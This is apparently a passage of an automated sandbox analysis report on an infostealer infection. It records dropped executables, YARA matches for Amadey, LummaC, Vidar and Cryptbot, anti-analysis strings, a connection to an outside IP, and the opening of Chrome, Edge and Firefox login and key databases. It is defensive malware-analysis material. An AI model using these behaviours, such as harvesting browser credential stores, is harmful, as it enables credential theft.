Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: unknown unknown

Source: Dry.com, 00000011.00000002.3086340519.0000000000A53000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: file.exe, 00000000.00000002.1729511763.0000000000E9F000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1756874939.0000000000F4F000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000002.00000002.1758062447.0000000000F4F000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: 7gProgram Manager
Source: skotes.exe	Binary or memory string: ?7gProgram Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00D1DD91 cpuid

6_2_00D1DD91

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019255001\331488c9a5.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019255001\331488c9a5.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019256001\f9567e9ef8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019256001\f9567e9ef8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C6CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_00C6CBEA

Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: 8b67fa16f7.exe, 00000030.00000003.2676434059.00000000076E6000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: procmon.exe
Source: 8b67fa16f7.exe, 00000030.00000003.2676434059.00000000076E6000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: wireshark.exe

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 6.2.skotes.exe.d00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.c50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.skotes.exe.d00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.d00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1757373038.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1716169346.0000000005360000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1716669492.0000000004BC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1687297615.0000000004A20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1728854916.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2305342830.0000000005380000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1756461628.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 17.2.Dry.com.3e80000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.3105087259.0000000003E81000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3092456644.000000000115D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3094195378.0000000001208000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2594494843.0000000003B81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2595246791.000000000123D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2594848558.0000000003E86000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000033.00000002.3004074654.00000000037C3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2594615293.0000000001170000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Dry.com PID: 8124, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d59846009d.exe PID: 1340, type: MEMORYSTR
Source: Yara match	File source: C:\nmckayer\3477ac361a61484faa59cc92fe88289c.exe, type: DROPPED

Leaks process information

Source: global traffic

TCP traffic: 192.168.2.4:49851 -> 185.121.15.192:80

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\tmp\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\db\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\events\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\key4.db	Jump to behavior
